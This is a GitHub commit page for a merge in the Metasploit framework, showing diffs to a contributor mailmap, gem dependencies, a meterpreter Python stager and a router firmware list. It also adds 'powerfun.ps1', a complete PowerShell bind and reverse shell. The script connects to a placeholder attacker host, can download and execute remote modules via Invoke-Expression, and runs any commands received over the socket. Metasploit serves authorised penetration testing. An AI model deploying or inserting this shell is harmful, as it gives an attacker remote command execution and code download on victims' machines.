Skip to content

Commit b42f4f5

Browse files
committed
Merge branch 'upstream/master' into multi-transport-support
Conflicts: lib/msf/core/payload/windows/stageless_meterpreter.rb lib/msf/core/payload/windows/x64/stageless_meterpreter.rb lib/rex/post/meterpreter/client_core.rb modules/payloads/stages/linux/x86/meterpreter.rb modules/payloads/stages/windows/meterpreter.rb modules/payloads/stages/windows/x64/meterpreter.rb
2 parents e45bf5c + 05e4af8 commit b42f4f5

File tree

135 files changed

+4505
-539
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

135 files changed

+4505
-539
lines changed

.mailmap

Lines changed: 11 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,41 +1,45 @@
11
bcook-r7 <bcook-r7@github> Brent Cook <[email protected]>
22
bturner-r7 <bturner-r7@github> Brandon Turner <[email protected]>
3+
ccatalan-r7 <ccatalan-r7@github> Christian Catalan <[email protected]>
34
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <[email protected]>
45
dheiland-r7 <dheiland-r7@github> Deral Heiland <[email protected]>
5-
dmaloney-r7 <dmaloney-r7@github> David Maloney <[email protected]>
66
dmaloney-r7 <dmaloney-r7@github> David Maloney <[email protected]>
7+
dmaloney-r7 <dmaloney-r7@github> David Maloney <[email protected]>
78
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <[email protected]>
89
ecarey-r7 <ecarey-r7@github> Erran Carey <[email protected]>
910
farias-r7 <farias-r7@github> Fernando Arias <[email protected]>
1011
hmoore-r7 <hmoore-r7@github> HD Moore <[email protected]>
1112
hmoore-r7 <hmoore-r7@github> HD Moore <[email protected]>
1213
jhart-r7 <jhart-r7@github> Jon Hart <[email protected]>
13-
jlee-r7 <jlee-r7@github> egypt <[email protected]> # aka egypt
14-
jlee-r7 <jlee-r7@github> James Lee <[email protected]> # aka egypt
1514
jlee-r7 <jlee-r7@github> James Lee <[email protected]>
15+
jlee-r7 <jlee-r7@github> James Lee <[email protected]> # aka egypt
16+
jlee-r7 <jlee-r7@github> egypt <[email protected]> # aka egypt
1617
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <[email protected]>
1718
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <[email protected]>
1819
kgray-r7 <kgray-r7@github> Kyle Gray <[email protected]>
1920
limhoff-r7 <limhoff-r7@github> Luke Imhoff <[email protected]>
20-
lsanchez-r7 <lsanchez-r7@github> darkbushido <[email protected]>
2121
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <[email protected]>
2222
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <[email protected]>
23-
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <[email protected]>
2423
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <[email protected]>
24+
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <[email protected]>
25+
lsanchez-r7 <lsanchez-r7@github> darkbushido <[email protected]>
2526
mbuck-r7 <mbuck-r7@github> Matt Buck <[email protected]>
2627
mbuck-r7 <mbuck-r7@github> Matt Buck <[email protected]>
2728
mschloesser-r7 <mschloesser-r7@github> Mark Schloesser <[email protected]>
2829
mschloesser-r7 <mschloesser-r7@github> mschloesser-r7 <[email protected]>
2930
parzamendi-r7 <parzamendi-r7@github> parzamendi-r7 <[email protected]>
31+
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <[email protected]>
32+
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <[email protected]>
33+
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <[email protected]>
3034
shuckins-r7 <shuckins-r7@github> Samuel Huckins <[email protected]>
3135
todb-r7 <todb-r7@github> Tod Beardsley <[email protected]>
3236
todb-r7 <todb-r7@github> Tod Beardsley <[email protected]>
3337
todb-r7 <todb-r7@github> Tod Beardsley <[email protected]>
34-
trosen-r7 <trosen-r7@github> Trevor Rosen <[email protected]>
3538
trosen-r7 <trosen-r7@github> Trevor Rosen <[email protected]>
39+
trosen-r7 <trosen-r7@github> Trevor Rosen <[email protected]>
40+
wchen-r7 <wchen-r7@github> Wei Chen <[email protected]>
3641
wchen-r7 <wchen-r7@github> sinn3r <[email protected]> # aka sinn3r
3742
wchen-r7 <wchen-r7@github> sinn3r <[email protected]>
38-
wchen-r7 <wchen-r7@github> Wei Chen <[email protected]>
3943
wvu-r7 <wvu-r7@github> William Vu <[email protected]>
4044
wvu-r7 <wvu-r7@github> William Vu <[email protected]>
4145
wvu-r7 <wvu-r7@github> William Vu <[email protected]>

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ PATH
99
json
1010
metasploit-concern (= 0.4.0)
1111
metasploit-model (~> 0.29.0)
12-
meterpreter_bins (= 0.0.22)
12+
metasploit-payloads (= 0.0.3)
1313
msgpack
1414
nokogiri
1515
packetfu (= 1.1.9)
@@ -123,6 +123,7 @@ GEM
123123
metasploit-model (0.29.2)
124124
activesupport
125125
railties (< 4.0.0)
126+
metasploit-payloads (0.0.3)
126127
metasploit_data_models (0.24.0)
127128
activerecord (>= 3.2.13, < 4.0.0)
128129
activesupport
@@ -132,7 +133,6 @@ GEM
132133
pg
133134
railties (< 4.0.0)
134135
recog (~> 1.0)
135-
meterpreter_bins (0.0.22)
136136
method_source (0.8.2)
137137
mime-types (1.25.1)
138138
mini_portile (0.6.2)

data/exploits/CVE-2014-8440/msf.swf

18.2 KB
Binary file not shown.

data/exploits/powershell/powerfun.ps1

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
# Powerfun - Written by Ben Turner & Dave Hardy
2+
3+
function Get-Webclient
4+
{
5+
$wc = New-Object -TypeName Net.WebClient
6+
$wc.UseDefaultCredentials = $true
7+
$wc.Proxy.Credentials = $wc.Credentials
8+
$wc
9+
}
10+
function powerfun
11+
{
12+
Param(
13+
[String]$Command,
14+
[String]$Download
15+
)
16+
Process {
17+
$modules = @(MODULES_REPLACE)
18+
if ($Command -eq "bind")
19+
{
20+
$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
21+
$listener.start()
22+
$client = $listener.AcceptTcpClient()
23+
}
24+
if ($Command -eq "reverse")
25+
{
26+
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
27+
}
28+
$stream = $client.GetStream()
29+
[byte[]]$bytes = 0..255|%{0}
30+
if ($Download -eq "true")
31+
{
32+
ForEach ($module in $modules)
33+
{
34+
(Get-Webclient).DownloadString($module)|Invoke-Expression
35+
}
36+
}
37+
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
38+
$stream.Write($sendbytes,0,$sendbytes.Length)
39+
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
40+
$stream.Write($sendbytes,0,$sendbytes.Length)
41+
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
42+
{
43+
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
44+
$data = $EncodedText.GetString($bytes,0, $i)
45+
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
46+
47+
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
48+
$x = ($error[0] | Out-String)
49+
$error.clear()
50+
$sendback2 = $sendback2 + $x
51+
52+
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
53+
$stream.Write($sendbyte,0,$sendbyte.Length)
54+
$stream.Flush()
55+
}
56+
$client.Close()
57+
$listener.Stop()
58+
}
59+
}
-35.3 KB
Binary file not shown.
-42.6 KB
Binary file not shown.
-204 KB
Binary file not shown.

data/meterpreter/meterpreter.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@
2222
# this MUST be imported for urllib to work on OSX
2323
try:
2424
import SystemConfiguration as osxsc
25+
osxsc.SCNetworkInterfaceCopyAll()
2526
has_osxsc = True
2627
except ImportError:
2728
has_osxsc = False
@@ -749,7 +750,7 @@ def create_response(self, request):
749750
resp = struct.pack('>I', len(resp) + 4) + resp
750751
return resp
751752

752-
if not hasattr(os, 'fork') or has_osxsc or (hasattr(os, 'fork') and os.fork() == 0):
753+
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
753754
if hasattr(os, 'setsid'):
754755
try:
755756
os.setsid()
-1.42 MB
Binary file not shown.
Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,14 @@
1-
Alphanetworks wrgg19_c_dlwbr_dir300
1+
Alphanetworks wrgg19_c_dlwbr_dir300
22
Alphanetworks wrgn49_dlob_dir600b
33
Alphanetworks wrgn23_dlwbr_dir600b
44
Alphanetworks wrgn22_dlwbr_dir615
55
Alphanetworks wrgnd08_dlob_dir815
66
Alphanetworks wrgg15_di524
7-
Alphanetworks wrgn39_dlob.hans_dir645
7+
Alphanetworks wrgn39_dlob.hans_dir645
8+
Alphanetworks wapnd03cm_dkbs_dap2555
9+
Alphanetworks wapnd04cm_dkbs_dap3525
10+
Alphanetworks wapnd15_dlob_dap1522b
11+
Alphanetworks wrgac01_dlob.hans_dir865
12+
Alphanetworks wrgn23_dlwbr_dir300b
13+
Alphanetworks wrgn28_dlob_dir412
14+
Alphanetworks wrgn39_dlob.hans_dir645_V1

0 commit comments

Comments
 (0)